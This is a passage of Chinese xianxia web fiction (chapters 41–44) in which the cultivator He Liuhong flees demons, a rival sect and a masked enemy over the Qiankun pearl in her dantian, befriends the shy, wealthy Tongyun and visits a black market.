她也确实成功了,妖气被这颗珠子压制了。 但也没完全成功,她没有将妖气彻底祛除。 当务之急,自然是解决掉这股妖气,免得它像定时炸.弹一样。 贺流虹不确定能不能做到,力竭昏迷之前她就试过了,妖气被压制在丹府时便融入珠子,她无法继续将其灭除,除非将珠子一起毁去。 凭她如今的修为还办不到和那颗珠子硬碰硬,光是尝试控制它就已经让她吐血吐成血人了。 这个破庙被发现了,不适合继续藏身,她又用了张遁走符。 还是深山野林最方便掩人耳目,贺流虹找了个悬崖上的山洞,贴上一圈隐匿气息的符箓,摆上一圈护身灵宝,吃了颗辟谷丹,开始新一轮的奋斗。 她的意识沉入丹府,小心翼翼贴近那颗珠子,调动灵力,缓慢将其缠绕。 察觉到抵触,迅速撤退。 撤退不及时,吐血。 继续试探,没有抵触,更进一步。 步子迈大了,遭到抵触,吐血。 再次尝试,再次吐血。 日月轮转,山洞里的贺流虹已经服用了第四颗辟谷丹。 一颗辟谷丹能让人一个月不吃不喝,她也没想到竟然就这么过去了四个月。 在挑衅试探撩拨那颗珠子的过程中,她挨打次数多了于是越发抗揍,变得皮糙肉厚,神魂都不知不觉强大数倍。 她现在甚至能用神识操控那颗珠子在丹府内跑圈。 然而那股妖息越发安分低调,默默藏在珠子里面,一点也不肯冒头。 这个问题不彻底解决,始终是个隐患,贺流虹不得不去想想别的办法。 她收拾好山洞里自己的东西,悄悄释放神识查探四周,一切正常。 然而,刚离开藏身的地方不久,她就察觉到有好几股气息正紧紧追随在身后。 之所以能迅速察觉,还是因为她在过去三个月受到那颗竹子的充分“训练”,不论是神魂还是自身灵力的运用都远超从前。 若非如此,她刚一出山洞,就被抓了。 想到这个可能,贺流虹惊出一身冷汗,拔腿就跑,一连用了十张遁走符,终于将追得最紧的一股气息甩开。 那是妖族的气息。 她将妖尊伤成那样,如今即便当真觉醒妖族血脉,也再无归顺妖族的可能。 半日后,她行至一座临水的小城,身上的遁走符最近消耗速度极快,只剩下最后一张。 她留着以备不时之策,服用下易容丹,隐匿了身上的修士气息,登上一张渡河的竹筏。 水面上倒映出一张平平无奇的脸,完美融入周围的普通人中。 城中没有什么修行者出没,灵气也很匮乏,贺流虹想打听消息都找不到能听懂她说话的人,至于遍布整个修真界的黑市交易,这里也找不到入口。 她精疲力竭,打算先在这里休息一晚,第二天去往最近的主城,找找能解决问题的途径。 刚一入夜,客栈的屋顶就传来异响。 贺流虹捏着仅剩的最后一张遁走符要开溜,房间外已被三股不同的气息包围。 首先出现在房间的是个老熟人,风月宗第一美人的代理宗主师父南宫月宁。 南宫月宁很直接地走过来抓人,嘴里笑道:“上回邀你去风月宗,招待不周,这回我们继续。” 紧接着就有一道妖族身影闪现在两人中间,将南宫月宁挡住,道:“这家伙伤了我妖族无数性命,还将尊主打伤,除了我们妖族,谁也没有杀她的资格。” 南宫月宁嗤道:“几个妖族杀了就杀了,还敢来跟我抢人,让开!” 被骂的妖族大怒:“人族一个比一个不要脸!今日我先杀你!” 一人一妖当场动起了手。 贺流虹看到双方先打起来了,乐见其成,飞快收拾了一下包袱准备溜之大吉。 这只妖也有一只尾巴,不过没有毛,附着青色的鳞片,在身后猛甩了一下,贺流虹坐着的那只椅子就粉碎了。 她迅速弹跳开,躲过这猝不及防的攻击,扒开窗户就要跑。 窗外却站着个秃头的老和尚,挡住她去路,正拨着念珠念阿弥陀佛。 贺流虹皱眉不解:“和尚也来掺和这种事?大师,你是要抓我还是要杀我?” 老和尚阿弥陀佛了一声,不慌不忙慢慢吞吞开口:“老衲是来向施主寻人的,不知道施主有没有我们禅宗佛子的消息。” 贺流虹越发困惑:“莫名其妙,佛子丢了来找我做什么!”她发誓她除了蹭佛子热度的黄图,没见过任何和佛子有关的东西。 “施主有所不知,我禅宗佛子不甘寂寞私自离开了,离开之前说是也想和贵宗的琼华真人一样,体验一下神交的滋味。” 贺流虹:“那也不代表是来找我体验啊!” 老和尚:“他说了,他也想和琼华真人‘一样’。” 南宫月宁和那只妖打架的间隙,哼笑一声:“老秃驴回去告诉你家小秃驴,他没机会体验了,我今日就要将这狡猾的小东西带回风月宗狠狠教训。” 贺流虹扒在窗户上一脸无辜:“前辈,刚刚不是还说要好好招待我?” 南宫月宁骂道:“擅闯我风月宗后山禁地,搅扰师尊清修,你还好意思装无辜!” 贺流虹眼看着一人一妖都要腾出手来对付她,将老和尚往旁边一掀,“别挡路了大师我逃命呢!”翻出窗户一溜烟跑了。 正值深夜,客栈的屋顶都快被一人一妖的手段掀翻,身为普通人一辈子没见过这等大场面,整个客栈的人都惊慌失措地从房间里跑出来,连衣服都来不及穿,东逃西窜。 贺流虹又服用了一颗易容丹,将自己变成又矮又细的小不点,流进人堆里就找不着影,迈着灵活的两条腿飞快离开现场。 她白天在城中提前逛过一遍,此时开溜得很顺利,不一会儿就超近道进了一段四通八达的小巷子。 小巷子里黑漆漆,只有夜猫的眼睛发着光,贺流虹在黑暗中狂奔,不时惊跑几只正在觅食的老鼠。 忽然之间,月色被乌云全部笼罩,最后一丝光亮也消失。 她抬头望去,墙上的裂纹在增加,墙角下一只破旧的陶罐应声裂开。 空气凝滞,连呼吸也变得困难。 有人追上来了。 贺流虹猛地转过身,看到一团黑影,似乎与黑暗融为一体。 直到那团黑影开口,发出嘶哑的声音:“你逃不掉的。” 原来是那个见不得光的黑袍人,不敢以真面目示人,就连声音也要做充分的伪装。 贺流虹故作轻松的笑了一声:“又偷偷摸摸出来干坏事了?我猜你平时一定装得很好吧,是那种大义凛然高风亮节的样子,你的同门亲朋好友们知道你的真实嘴脸吗?” 黑袍男沉默了一瞬,紧接着,周身释放出更加咄咄逼人的威压,带着恼怒说道:“把东西还给我!” 威势煊赫的灵压让贺流虹有种经脉即将一寸一寸断开的感觉,但是她过去几个月毕竟是被日夜不停“训练”过的,这点压力也就一般的。 最多就是吐个血而已。 她在威压之下有些费力地抬手,擦了下嘴角溢出的血,琢磨着他这句话的意思。 “你说东西是你的就是你的?” 她抬头直视那张面具下的眼睛,有些讥诮地反问道:“可是,你到底是哪位啊?姓甚名谁?出身何处?你不说,谁能证明东西是你的?” “你废话太多,东西交出来,那不是你该拥有的。” 对方说着,灵力就如同最坚韧的绳索,朝她缠绕过来。 贺流虹险险躲过,身上像负了千钧重,每挪动一步,就有种即将被压成一滩肉泥的危机感。 第42章 第42章好应景的名字啊 黑袍人把自己伪装得无懈可击,就连动手,也刻意避开任何有可能暴露身份的招数。 他留有余力,没有表露出致贺流虹于死地的意思。 “把乾坤珠交给我!” 贺流虹露出恍然大悟的神情,拖着长长的尾音“啊”了一声,道:“原来你说的是那个啊,早说嘛。” 对方上前一步,逐渐逼近她,阴森威胁道:“是你主动交出来,还是我自己来拿。” 灵力带来的压迫感越发强盛,贺流虹还记得妖尊提过黑袍男身上有伤,即便如此,他的修为仍远在她之上,和曾经在神月峰感受到的大乘期带来的压迫感不相上下。 但是既然受了重伤,这样骇人的气场只能是一时的,大概是为了速战速决,将贺流虹唬住。 丹府内的乾坤珠感受到这副躯体的摇摇欲坠,又躁动起来,迫不及待想要再次爆发出能量,将躯体之外的威胁消除。 贺流虹快要站立不稳,抽出剑身重重贯穿地面,勉强维持自己在强压之下不跪地哀嚎。 血不在只是从嘴里吐出来,而是从皮肤表面溢出,从眼角流下,她闷哼一声,眨着一双漆黑如幽潭的眼睛,笑道:“想什么呢,乾坤珠这么好的东西,我怎么舍得交给你?” 黑袍人因为她的回答愈发恼怒,嘶哑的声音微微颤抖:“那不是你所能掌控的力量,我劝你乖乖听话,将乾坤珠归还于我。” 他指着贺流虹,又意味深长地补充一句:“还有你,你也该尽快回到你该回的地方。” 贺流虹察觉出他在强撑,尽管他越发愤怒,但已无法仅凭周身散发出来的气势将她压倒。 她耸了下肩膀,道:“你也见识过了,我前不久才重伤过你一回,乾坤珠在我手上,该乖乖听话 的人是你。” 她任由乾坤珠的力量涌向经脉,尽情释放出来,黑袍人压在她头顶的灵力正在被一点一点瓦解,摧毁。 面具下那双眼睛浮现出惊恐而不可思议的神情,似乎没想到她真的能再次使用出乾坤珠的力量。 “怎、怎么会……你怎么可能做到……” 贺流虹心想,过去几个月的血可不是白吐的。 即便吐得昏天暗地,其实她也仍然没能做到随意控制这股力量。 她拼尽全力压制住丹府内的混乱气息,脸上强作镇定,反问道:“你也不想再次品尝它的滋味吧?” 话音刚落,她就又吐血了。 黑袍人哼笑一声,看出来她的勉为其难,挥动黑色的衣袍,在深夜的暗巷卷起飓风。 灵力形成的飓风飞速旋转,目标明确,要将泄露出虚弱之态的少女彻底压倒,令其再无力气抵抗。 贺流虹感觉自己要被大卸八块了,要不然就是被这阵灵力旋涡撕扯成一堆带着血的碎屑。 乾坤珠在丹府内狂躁不安地散发出源源不断的能量,从她的身体里迸发出来,几乎冲碎她全身每一寸经脉,潮水一般朝对面的黑袍人汹涌澎湃地压下去。 黑袍人惊愕失色,连连后退,但终究没能逃过,狼狈跪倒在地。 月光重新露出云层,照得小巷中寒凉一片。 黑色的厚重面具之下,红色的液体一滴一滴从边缘滴落在地上,浓重血腥气蔓延在如水的夜色中。 贺流虹不顾浑身经脉寸断的剧痛,迅速上前,剑尖刚触碰到那张面具,手下又是一空。 又让这家伙逃了。 她的最后一丝力气也随之耗尽,倒在了墙脚下的阴影里。 迷迷糊糊之中,有一只柔软而光滑的手正在轻轻触碰她的脸颊,指尖微微冰凉,动作小心翼翼。 好似唯恐将她惊醒,或是令她伤上加伤。 贺流虹正在睡梦中享受这温柔的呵护,脑海中又是倏地一声惊雷,反应过来自己正在被抓捕被追杀。 她惊颤一下,猛然睁开眼睛,将床边之人用力抓住。 那人逃脱不及,被紧攥着手腕,耳尖微红,与她四目相对。 贺流虹看清他的长相,下意识松了一口气,咕哝着:“怎么是你。” 俊秀清丽的男修不敢抬眼,支支吾吾:“我……我碰巧路过,发现你昏倒在路边。” “你明明一直在跟踪我,还‘碰巧路过’,脸红成这样,就差把说谎两个字贴脸上了。” 贺流虹无情地嘲笑了他一顿,越发口干舌燥,松开他的手腕。 对方非常有眼色地倒了杯水,递到她嘴边。 她接过来喝下,趁喝水的时候又端详他一番。 这个人看起来比什么风月宗妖族黑袍人单纯好糊弄,不管怎么说,醒来见到他,比见到妖尊或者黑袍人要好多了。 之前在破庙里昏倒,想来也是受了对方的照顾。 她打量的时间有些久,男修低着头,嗫嚅着问:“你看够了吗?” 贺流虹从他身上移开目光,打量起这个房间。 刚刚就感觉什么东西有点晃眼睛,这一看,屋内真叫一个流光溢彩金碧辉煌啊。 看来她那天抢走的芥子袋只是对方巨额身家的冰山一角。 富有而美貌的男修乖巧解释道:“你别误会,我没和你睡一起,我一共订了两间房,我的房间在隔壁,如果你晚上有事,喊我一声我就过来。” 贺流虹:“……” 不知道这样的房间一晚上得多少灵石,她的芥子袋里所有灵石加一起够不够住上一晚。 男修继续说道:“你那晚受了很严重的伤,险些就经脉寸断,无法恢复,我喂你吃了药,但保险起见,最好还是请医修过来看看,而且你也不宜再奔波,多休养些时日为好。” 贺流虹也感觉出来自己的情况有多糟糕,乾坤珠能震退大乘期修士,但以她如今的修为根本无法承受。 她很肯定如果再来一次,她就不仅仅是经脉寸断,而是直接与世长辞。 乾坤珠的力量还是能不动用就不动用。 然而,只要乾坤珠依然在她丹府内,就有失去控制的风险,不是她决定不用就能让它默默待在丹府内的。 听黑袍人的意思,似乎只知道乾坤珠在她手里,却不知它其实藏在她丹府里。 而且好像也没提附着在珠子上的妖气。 她不确定黑袍人有没有办法能将乾坤珠单独取出来,但是她可以自己尝试。 这种东西留在丹府里,实在太危险,如果真的能从她身体内分离出来,说不定就能弄清楚那股妖气是怎么回事了。 贺流虹思考这些的时候,男修就坐在她对面悄无声息地帮她擦着那把布满血污的剑,剑身斑驳,除了血迹和灰尘,还有各种各样的划痕,和她这个人现在的样子一样伤痕累累。 她望向镜子,看到自己脸上还没完全痊愈的血痕,又想起风月宗后山的那面布满裂痕的镜子,以及镜子里的几百岁的“妹妹”。 “你叫什么名字?” 贺流虹随口问了一声,男修却像是被吓到似的,浑身一颤,手足无措地看了她一眼,眼神开始到处乱飘。 她的语气中带了几分讥诮,道:“假名字还没来得及想,是吧?” 对方的眼睛氤氲上一层水雾,被她调侃得羞愧难当,快要当场落下泪来。 他在贺流虹的注视下,硬着头皮说道:“我叫彤云,不,不是假名字。” 贺流虹顺着他的视线望向窗外,只见红云漫天,彩霞绚烂,似笑非笑地感叹了一声:“你的名字真应景啊道友。” 这位临时决定叫“彤云”的道友窘迫地放下已经擦干净的剑,逃一般地离开了房间。 贺流虹独自一人时,笑容很快消失。 她走到墙边,仔细听着隔壁动静,那扇门关上后,里面有踌躇不定的脚步声隐约响起,随后变得很寂静。 她不知道对方是不是用了屏蔽探查的法宝,悄悄放出一缕神识穿过墙壁,看到彤云安静地坐在窗边,眉头微蹙,缠绕着几分忧愁。 美人就连忧愁时也像一幅画,贺流虹的脑海中闪过另外一位坐在窗边的美人。 她只飞快瞥了一眼就赶紧收回神识,从之前经历来看,对方的修为应当在她之上,她的放肆打量很容易被发现。 确认对方待在自己房间,她轻手轻脚起身下床,拿起剑走到门边,推门离开。 这里已经离那座小城很远,反倒是离天玄宗很近,几乎能感应到那几位镇守在天玄宗的太上长老的气息。 贺流虹事情还没解决完,可不想这么不上不下地被继续关进神月峰,连忙朝着最近的传送阵奔去。 一路走来,到处贴满天玄宗寻人的告示,告示上的人不是别人,正是她自己。 她的名字,相貌,修为,脾性,统统在上面写得一清二楚,用灵力查探时还贴心显示出她的三维立体投影,生怕别人遇见了认不出来。 她又赶紧重新吃了一颗易容丹,感觉有些不妙,之前天玄宗还一直隐瞒她的消息,以免被有心人利用,几个月过去,竟是大张旗鼓地寻人。 在传送阵外,好多人推推挤挤,各大宗门联合发布的悬赏令仍在有效期,修真界的传送阵比往常忙碌数倍。 贺流虹站在其中显得很不起眼,身边是疲于奔命的修士们得空闲聊。 “最近这妖族越来越多啦,我这回又搞到了十五颗,其中有一颗还是五阶妖丹呢,能去领五千块灵石。” “妖族人人得而诛之,这是替天行道,还能顺便赚灵石,那几个大宗门这一次简直是太大方了。” “最牛的还得是天玄宗,你们都听说了吧,天玄宗一个叫贺流虹的外门弟子,重伤妖尊,将五十二名同修从妖巢救出,天玄宗怕是又有天才出世了。” “托这位道友的福,妖族现在越来越频繁地四处出没,想找她报仇,都不用费工夫专门去找。” “怪不得天玄宗到处贴寻人告示,我还以为那个贺流虹是妖族卧底身份暴露,正在被通缉。” “不仅不是卧底,还是我辈楷模呢!不知道她藏在哪里,是不是为了救下那五十二人受了伤,她是个好人,希望天玄宗能尽快找到她。” “天玄宗一心找她,那琼华真人呢?不管了?好久没新消息了。” “不是说中了迷情散嘛,解毒之人到底是谁啊。” “不是说天玄宗的灵脉快要枯竭了吗,琼华真人又在镇妖塔受了重伤,说 不准是不是成了废人,他要是飞升无望,天玄宗可不得拼了命寻找其他有望飞升的弟子,给宗门续命。” “……” 贺流虹静悄悄听着,十个人里面有八个都在聊她的名字,可见天玄宗想要找到她的心是认真的。 第43章 第43章善良美丽的他 虽然不断有人通过传送阵离开,但熙熙攘攘的人群只增不减,贺流虹排着队,随着队伍移动。 她神色内敛动作低调,把自己的存在感降到最低。 有人用胳膊肘碰了碰她,脸上浮现出神秘兮兮的笑容,压低了声音说道:“朋友,出门除妖的对吧,回春丹滞销,骨折价甩卖,只收你一百灵石,要吗?” 贺流虹问:“真的假的?” “当然是真的,原价一千,现在只卖一百,只要一百,买不了吃亏买不了上当,错过这个村可就没这个店了。” 贺流虹道:“我是问,你这回春丹真的还是假的?” 那人一对上她的目光,就知道遇上了老江湖,不尴不尬地笑了一声,转身走了,嘴里还嘀咕着:“看着挺好骗的,怎么不上当。” 贺流虹用力按住自己那只想要踢过去的腿,要不是形势迫人,不能太高调,她高低给这个骗子踹飞三米远。 正在心里骂骂咧咧,队伍又有人挤进来,背后的男修被推搡着撞到她后背。 她一回头,对方就连忙低下头说“抱歉”,端正清秀的脸上满是无措的神色,两只手都知道该往哪里放。 这么容易害羞,看起来就是个第一次独自出门闯荡的清纯男修。这么好骗的一个人就站在她旁边,骗子偏偏先选中了她,什么眼光? 贺流虹想些有的没的,进了传送阵。 和她一起进去的人是最多的,那个清纯男修也紧跟在她身后一起进了法阵。 这一趟是去往云中仙城。 云中仙城是修真界最繁华的一座主城,不受任何门派管辖,商业极其发达,同时拥有修真界最大的地下交易场,俗称黑市。 黑市遍布全修真界,云中仙城是它的总部,出现在这里的商品大多是真正可与不可得的宝贝,吸引无数人前往。 名门大派的宝贝也有不少,但大多都想藏私,或者碍于体面不好公开叫价售卖。 黑市就不一样了,不看身份不看修为,只看舍不舍得花钱,真正的宝贝只属于能出价最高的那位。 贺流虹想来碰碰运气,淘换点东西。 就算碰不到能替她解决问题的好东西,云中仙城这么繁华热闹,人进入其中就像一条小鱼游进深海,很方便躲藏追踪。 一出传送阵,她就先去了眼睛能看见的第一家售卖丹药符篆的商铺,把之前逃跑时消耗的存货都给补上,另外又买了很多张遁走符。 一张初阶遁走符的售价是十块灵石,但遁走的距离只有十米,无法满足她如今的需求,高阶遁走符倒是能让她瞬息之间跑出很远,但价格飙升到一张两千。 贺流虹咬咬牙,一口气买了十张,几乎花光了她这两年赚下的所有灵石。 平时连一颗辟谷丹都舍不得吃的人,现在活生生被逼成花钱如流水的样子。 从铺子里出来后,她又进了一家回收铺。 灵石快花光了,她得把一些不是很要紧的法宝折换成现钱。 用脚想也知道,她期望能帮她解决麻烦的宝贝绝对会卖出天价,她总不能没钱硬抢。 回收铺的老板揣着手等着她掏出东西来,已经叹了三次气。 此时又叹了第四次,充满耐心地解释道:“实在舍不得那些灵宝的话,我们也负责回收妖丹,云中仙城官方认证,童叟无欺。” 贺流虹埋头在芥子袋中翻找好半天,一个个检查过去,大部分值钱的丹药灵宝都是在神月峰获得的,留有天玄宗的印记,以防万一,不能就这么拿出来。 剩下一些这两年攒下的身家,有些法宝已经用出了感情,有些即便拿出去也卖不上多少钱。 最后她掏出了零零星星几瓶丹药,几张符,还有一小袋子之前打伤妖尊后顺手剖到的妖丹,都是三阶以上的。 这一小袋妖丹成了最值钱的,足足为她换来八万块灵石。 难怪修士们像疯了一样出门除妖,如今可不就是发家致富的好时机。 往口袋里装灵石的时候,她的余光瞥见角落里还有一只芥子袋,颜色花纹都有点陌生。 可能是什么时候捡到的吧。 稍微有点安全意识的修士都会在自己的芥子袋上附加禁制,只能通过神识解开,除非陨落,否则就算被别人捡去,也得不到里面的东西。 贺流虹顺手尝试了一下能不能打开。 没想到很轻易地成功了,附在这只陌生芥子袋上的禁制对她完全没起作用。 不仅如此,袋子里面堆积如山的灵石以及各色法宝的光芒差点闪瞎她的眼睛。 “发财了”三个字在脑海中冒出来不到两秒,她的记忆复苏了,想起来这只芥子袋的来历,是她被疼痛折磨得精神恍惚时从彤云那儿抢来的。 那漂亮的彤云道友言谈举止间透露着金贵出身,背后绝对有自己的势力,说不定眼下就有很多人在找这只丢失的芥子袋。 她本来还想借用一下袋子里的灵石法宝,现在只能遗憾地将袋口重新锁好,离开了店铺。 来到街上,人头攒动,沿街叫卖声不断。 贺流虹加快脚步,穿过人群,飞速地拐进一条狭窄的巷子。 然后停下脚步,抱着胳膊等在巷子里。 不过片刻,一道颀长身影急急忙忙追进巷子里,和贺流虹迎面相遇。 那张清秀的脸上闪过慌乱神色,僵硬了一瞬,连忙调头离开。 贺流虹眼疾手快地抓住他肩膀,将人一把拽过来,按在巷尾爬满青苔的矮墙上。 “不是跟了我一路吗,好不容易见上面,怎么又急着跑?” 男修试着挣脱,但是对上她隐含不悦的目光,又温驯下来。 他侧过脸,避开她直视的目光,瑟缩道:“我、我不知道你在说什么。” 贺流虹的目光上上下下来回扫视他几遍,这副熟悉的神情,躲躲闪闪的眼神,以及这只挂在腰上的芥子袋,上面的花纹和她之前抢来的那只一模一样,种种迹象表明了一个昭然若揭的事实。 她皱着眉问道:“怎么样,这次提前想好叫什么名字了吗?” 男修的脸上浮现出淡淡的红晕,为这张本该不算出彩的清秀面容增添了几分香甜可口的韵味。 他的表情有些可怜,抬眼望着她:“你为什么又把我丢下了,你的伤还没痊愈,下次万一又不小心遇到危险了怎么办。” 贺流虹有些恶劣地将手上沾到的青色苔藓泥印抹到他脸颊上,道:“我为什么要听一个骗我的人的话?嗯?彤云道友,你说是吧?” 彤云很心虚。 彤云很悸动。 脸颊上那块被她指腹用力抹过的地方像要灼烧起来一样。 他的眼睛又变得水汽氤氲,微微张着殷红的唇,不知该找些什么借口,打消对方的质疑,受到对方的接纳。 贺流虹见他默不作声,一副要哭出来的样子,便好心好意把他脸上那块青泥印子重新擦掉,嘴里说道:“还是变回之前那样吧,更漂亮。” 彤云心跳如雷。 贺流虹一眨眼,俊俏美艳的彤云小师弟又回来了,泛着薄红的脸颊愈发甜蜜诱人。 彤云喃喃自语:“原来你喜欢这个样子的。” 贺流虹没怎么听清楚,欺身上前,凑近他唇边,“你说什么?” “没、没说什么。” 她的忽然逼近让彤云呼吸不畅,越发将脑袋往后仰,似乎这样就能为彼此拉开一些距离,获得更多新鲜的空气。 只是贺流虹更用力地将他抵到墙上,没给他留下太多躲避的空间,他的脊背贴着爬满苔藓的湿滑墙壁,闻见泥土和植物混杂在一起的气味,以及近在咫尺的女修身上熟悉的气息。 虽然女修又换了副外表,但是只要一闻到这气息,他就知道,自己如愿找到了人。 他神色认真地说道:“我知道你有不愿意让任何人知道的秘密,我愿意发下心魔誓言,不会探究一丝一毫。只要……你能让我跟着你。” 贺流虹转了圈眼珠,道:“好吧,毕竟你也帮过我的忙,你一再请求和我同行,那我就勉为其难答应吧。” 彤云还没来得及感受被接纳的喜悦,就听她继续说道:“不过你也知道,天玄宗现在在到处找我,但我还有点事,不想这么快回去,天玄宗毕竟是我的师门,我不方便直接违逆师门的意思,你想让我带着你游历,总得先帮我拖住他们,以免我被师门带回。” 彤云的表情很微妙,犹豫着问:“你想让我怎么帮你?” 贺流虹摸着下巴,一本正经地说道:“既然你如此擅长伪装,那你就假扮成我,去天玄宗门口表演一个原地自爆吧,越逼真越好,让掌门和小师叔他们先死心一段时间。” 彤云欲言又止地望着她。 他不确定对方是真的打算这么干,还是仅仅借此计划将他委婉地从身边甩掉。 但他还是乖乖点了下头,道:“我明白了。” 贺流虹笑眯眯地望着他,松开对他的钳制,礼貌地后退几步,目送他远走。 彤云走出一段距离,又折返回她身边,拿下腰间挂着的那只芥子袋,递过去,有点不好意思地说道:“你刚才在回收铺子待了很久,如果你最近需要很多灵石的话,我这里还有,你放心,灵石上面没有做任何追踪印记,可以随意花用。” 贺流虹用力握住他那只散发金钱迷人气息的手,郑重摇晃两下,道:“我看出来了,你是好人!” 表达完感激之情,她拿走芥子袋,拍了拍善良美丽的彤云道友的肩膀,送上美好的祝福:“去吧,祝你成功。” 第44章 第44章我怎么又回来啦 彤云离开得有些不情不愿,他刚一走,贺流虹就飞快离开这条巷子,朝着人来人往的主街道上去了。 云中仙城是一座被云雾环绕的大城,一条又宽又深的河道将整座城分为两半,一半是纸醉金迷一半是穷困潦倒,两边泾渭分明,好像处在两个世界。 黑市的存在将两个世界联系到一起,体面的上流人嘴上称其为上不得台面的混乱肮脏场所,下等人在这里将一切能售卖的东西明码标价。 贺流虹凭借以往经验找到入口,黑市对所有能找到入口的人开放,守门人为她发放面具,开启结界让她进入其中。 这里看上去就像一个大型赶集现场,形形色色的摊位挤挤攘攘。 贺流虹戴着面具东瞧西看,顺便又补充了一些法宝灵药。 这里同样也有卖假货的,而且比之前在传送阵外遇到的那种骗子高明,能不能花最少的钱买到最好的宝贝,只看运气和判断力。 每一个摊位都是私人经营,只要愿意买,只要愿意卖,不管做的是什么生意,都不会受到任何限制。 唯一的规矩就是,如果发生纠纷,要打去外面打。 贺流虹目标明确,很仔细地留意着和妖族相关的东西,但都没遇到能够满足她眼下需求的。 一个炼器师不小心炼出一件法衣,说是穿上之后能掩盖自身一切气味。 实际穿上一试,自身气味能不能掩盖住不好说,但散发出来的气味先把周围人熏死了。 又有一位自称医修的青年人表示自己研制了一味神奇的药丸,喝下去之后,哪怕站在原地不动,就能拥有不灭金身,一切异族都无法沾身。 因为价格有点高,贺流虹在旁边观望,见到有人斥巨资买下一颗当场试吃,紧接着就变成一座雕像,拥有极为光滑的外表,蚊子苍蝇蜘蛛站上去都会打滑。 一圈逛下来,总之热闹很好看,但真正有用的一个也没有。 担心被别人留意到,贺流虹也会装作对其他东西感兴趣的样子。 她倒是也想要打听一下有关乾坤珠的信息,但是看黑袍人那副没脸见人的架势,这颗珠子也不像是什么正道之士该拥有的,她怕自己一开口,就被包围了。 外面的大型集市是开胃小菜,再继续往里走就需要购买入场券,里面才是黑市真正的魅力所在,每个月举行一场修真界最盛大的拍卖会,平时会售出一些经过专门鉴定的灵宝法器符箓丹药等等,虽然价格会更高,但是品质有保证,种类更丰富。 今天是每月一次的拍卖会,不枉贺流虹紧赶慢赶。 她正要买入场券,就有人拉了拉她的袖子,用神秘兮兮的声音问:“道友,有好东西,要吗?” 贺流虹望向这个同样戴着面具的人,只觉得这个拉客的方式很熟悉。 对方不等她回答,就热情地从袖中拿出一个小瓶子,压低声音道:“这是琼华真人沐浴过的泉水,琼华真人你肯定知道吧,修真界第一美人,这整整一瓶泉水,只卖你五千灵石,买不了吃亏买不了上当。” 贺流虹默默看了这人一会儿,有些哑然无言,忍不住感慨:“这种钱你也挣啊?” “讨生活嘛,修真界日子不好过啊,”那人挠挠头发,嘿嘿一笑,“你要是不喜欢这一款,我的摊位上还有佛子的,剑仙的……” 他说着,把贺流虹往自己的摊位上引过去。 由于这一番对话,不少人出于好奇涌过来,七嘴八舌地议论道:“什么,琼华真人的洗澡水你都能搞到,真的假的?” “这摊主该不会是周无疾吧,除了周无疾谁还能去琼华真人的洞府啊。” “佛子不是私逃下山了吗,逃到摊主家洗澡了?” “骗子啊这厮,我上回就在他的摊子上买的一瓶回春丹,想着一百灵石捡到大便宜了,结果是泥巴捏的。” “你这么一说我也想起来,这厮给我的感觉瞧着确实眼熟,我也上过他的当!” 贺流虹眼看着好像要打起来,以免和这群人一起被黑市中的守卫队当做闹事者扔出去,默默往后退。 这时候她身旁一人惊讶大喊道:“好浓重的一股妖气!这里有妖族混进来了!” 此话一出,无数人围拢过来,拔剑的拔剑,拿刀的拿刀,将所有的路堵得严严实实。 贺流虹大气也不敢喘,暗搓搓查探自己的丹府,唯恐乾坤珠上的妖息又趁她不备冒出来。 摊位后面忽然传出一声凄厉的狼嚎,那名摊主惊慌之下化出原形,企图从人群中找到一条逃窜出去的路。 然而在人族修士眼中,这岂止是降妖除魔这么简单,现如今每一只妖都代表着一大笔灵石。 那只狼妖修为不算很低,但也不算很高,一只三阶的狼妖是值得拼搏一回的。 何况这里是修真界最大的集市,聚集了无数身怀奇巧淫技的修士,即便不能亲手诛杀这只妖,领到这笔悬赏,但也没什么丢命的风险。 狼妖被围攻了,身上的伤口越来越多。 被一把剑斩断尾 巴的时候,它还在用长着獠牙的嘴吐出人言,惊恐万状地哀求,色厉内荏地警告:“你们别杀我,我会把骗你们的钱都还你们……这里是黑市,黑市内不得斗殴……” 一人嗤笑道:“白痴,黑市不得斗殴是给人族定的规矩,而你只是一只畜生,人人得而诛之。” 狼妖躺在自己的血泊里,缓慢张望一圈。 贺流虹无意间对上它的眼眸,里面有源源不断地恐惧绝望传递过来。 黑市的守卫队果然从始至终没有露面。杀一只畜生不断斗殴。 很多把剑同时朝狼妖的心脏刺过去,仿佛在争抢第一个杀死它。 狼妖死去,神识消散,芥子袋自动打开,灵石滚落一地,无数人一哄而上,瓜分着这场战斗结束后应得的战利品。 贺流虹隐隐有种不妙预感,目睹这一幕后,附着在乾坤珠上的那缕妖息又逐渐躁动。 她没再多做一丝停留,迅速后撤。 到达黑市出口附近时,黑市的管理者出现在楼上栏杆后面,化神期的修为化作无形的高山压下,让原本正闹哄哄的人群瞬间安静下来。 那名管理者道:“不慎让妖族混入,是我们的重大失误,现在开始为了保证所有进入黑市的人的安危,守卫队将对诸位身份一一进行确认。” 贺流虹感觉有股力量将她限制在原地,受困的处境让她不满。 四周也有不少和她一样为此感到恼火的,纷纷破口大骂:“凭什么不让我走?!” “耽误了我的急事,你们拿什么赔!” “什么意思,我又不是妖,你们黑市什么路数自己心里不清楚?还装起名门正派了?什么不干不净的事你们没干过?” 那名管理者自然也不是冲着得罪所有人来的,群情激愤中,显露出几分摇摆不定的态度。 贺流虹刚一感觉到身上的限制有所减弱,便大喊一声:“管它呢一起冲出去!” 大部分聚集在出口的人本来就是急着离开,闻言便乱糟糟冲向外面。 贺流虹混在人群里,像条鱼一样灵活地钻出去。 身后追出来一群黑市守卫队,伴随着管理者的神识传音:“将这些不告而别的客人一个不漏都给我重新请回来。” 贺流虹一听,忙不迭使用了一张遁走符,去了河边。 这一队追出来的守卫队修为高得离谱,最低金丹,瞬息之间逮住了不少和贺流虹一样强行破门而出的。 她站在水边,忽然想起在回收铺清理芥子袋时不敢卖出去的那颗避水珠,把它握在手心一头扎进水里。 将云中仙城一分为二的河道又宽又深,她一进入水底,避水珠就化作一个球形的保护罩将她笼罩,让她依然能够来去自如,和行走在地面上没有任何区别,连一根头发丝都没被沾湿。 但是从地面上看,水下一切正常,她就像是藏进了一滴水珠当中,完美融入水中。 守卫队能在云中仙城堂而皇之抓人,可见黑市在城中势力渗透很深,贺流虹不确定他们为什么突然如此疯狂,不敢再次冒险进入黑市,就连这座本以为会是绝佳藏身处的主城也不敢再待,连夜顺着水流离开。 水流淌速度极快,第二天她就发现自己回到了先前那座水边小城,停了下来。 风月宗和妖族都在这里将她抓了个现行,应当不会再认为她还有胆返回此地。 但她也没有冒险上岸,继续躲在水底,仔细研究了一下这颗避水珠。 